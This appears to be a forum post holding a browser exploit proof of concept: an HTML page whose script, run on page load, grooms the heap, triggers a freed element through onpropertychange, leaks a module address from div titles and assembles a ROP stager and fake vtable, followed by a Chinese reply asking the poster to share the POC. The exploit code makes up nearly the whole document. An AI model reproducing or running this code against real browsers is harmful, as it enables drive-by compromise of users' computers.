<html> <head> <script>
var largeBuffer = unescape('%uCCCC%uCCCC%uCCCC%uCCCC%uCCCC%uCCCC');
function funhellokey(dword) {
var d = Number(dword).toString(16);
while (d.length < 8) d = '0' + d;
return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));
};
function funloadon() {
alert(1);//方便调试器附加才加上的
var tag = 0x12345678;
var vtable1 = funhellokey(tag) + '11111110000000000';
var tarrybuf = new Array();
for (i = 0; i < 4096; i++) tarrybuf[i] = '' + vtable1;
var divs = new Array();
for (var i = 0; i < 137; i++) divs.push(document.createElement('div'));
var expvalueclass = document.createElement('div');
var expvaluedtkvee = document.createElement('div');
document.body.appendChild(expvalueclass);
document.body.appendChild(expvaluedtkvee);
expvalueclass.onpropertychange = expvalueclass.attributes;
expvaluedtkvee.onpropertychange = expvaluedtkvee.attributes;
for (var i = 0; i < 27; i++) expvalueclass.style.position = '';
expvalueclass.onpropertychange = null;
expvalueclass.onpropertychange;
divs[0].title = vtable1;
divs[1].title = vtable1;
divs[2].title = vtable1;
divs[3].title = vtable1;
expvalueclass.style.color = 'red';
var tempkktvalue = 0;
for (var i = 0; i < 4; i++) {
var adtakever = divs[i].title.substr(0, 2);
adtakever = escape(adtakever).replace(/%u(\w\w\w\w)%u(\w\w\w\w)/, "0x$2$1");
adtakever = parseInt(adtakever);
if (isNaN(adtakever)) continue;
if (adtakever != tag) {
tempkktvalue = ((adtakever & 0xFFFF0000) - 0x530000);
break;
};
};
if (tempkktvalue == 0) {
location.reload();
return false;
};
var temppvalue11 = 0;
var ttt = funhellokey(tempkktvalue + 0x00069f57);
var temppvalue13 = 0;
var temppvalue14 = 0;
var gethookver = 0;
var and_eax_ecx_ret = 0;
var temppvalue16 = 0;
var valuettgot09 = 0;
var valuettgot10 = 0;
var valuettgot11 = 0;
var valuettgot12 = 0;
var valuettgot13 = 0;
var valuettgotex = 0x001e2cde;
var valuettgotexd = 17;
var alertvaluewar = 0x000ce96e;
alertvaluewatchIn = 18;
temppvalue11 = funhellokey(tempkktvalue + 0x00539000);
temppvalue13 = funhellokey(tempkktvalue + 0x0018a7c7);
temppvalue14 = funhellokey(tempkktvalue + 0x00070b89);
gethookver = funhellokey(tempkktvalue + 0x00002ffe);
temppvalue15 = funhellokey(tempkktvalue + 0x0046ae66);
temppvalue16 = funhellokey(tempkktvalue + 0x00352845);
valuettgot09 = funhellokey(tempkktvalue + 0x0025d780);
valuettgot10 = funhellokey(tempkktvalue + 0x00001318);
valuettgot11 = funhellokey(tempkktvalue + 0x0018e7f8);
valuettgot12 = funhellokey(tempkktvalue + 0x004bdd33);
valuettgot13 = funhellokey(tempkktvalue + 0x0051e7db);
var ttemphkv = ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt;
var rop_stager = parseInt('11' + funhellokey(tempkktvalue + 0x00069f57) + 'CCCC' + funhellokey(tempkktvalue + 0x00069f57) + ttemphkv + temppvalue14 + gethookver + funhellokey(0xFFFFF000) + temppvalue15 + '66' + temppvalue16 + '9999' + valuettgot09 + valuettgot10 + valuettgot11 + funhellokey(0x00003000) + funhellokey(0x00000040) + temppvalue11 + temppvalue13 + temppvalue14 + '0000' + gethookver + funhellokey(32) + valuettgot12 + '11' + valuettgot13 + largeBuffer + unescape("%u0000"));
var zom = funhellokey(tempkktvalue + valuettgotex);
var table_pointer = document.createElement('option').index;
var alertvalue = table_pointer + (16 * valuettgotexd) + 8;
var alertvaluewatch = table_pointer + (16 * alertvaluewatchIn) + 8;
var vtable2 = funhellokey(alertvalue - 4) + '11' + funhellokey(alertvaluewatch - 8) + funhellokey(tempkktvalue + alertvaluewar) + '2222' + funhellokey(tempkktvalue + valuettgotex) + '33' + temppvalue13 + '4';
expvaluedtkvee.style.position = '';
expvaluedtkvee.onpropertychange = null;
expvaluedtkvee.onpropertychange;
divs[4].title = vtable2;
divs[5].title = vtable2;
divs[6].title = vtable2;
divs[7].title = vtable2;
expvaluedtkvee.onpropertychange;
};
function Funalertshow(dword) {
if (dword < 0) dword = 0xFFFFFFFF + dword + 1;
var p = dword.toString(16).toUpperCase();
while (p.length < 8) p = '0' + p;
return "0x" + p;
} </script> </head> <body onload = 'funloadon()'> </body>
</html>
POC下载不到了，lz可否本地共享一份，谢谢。
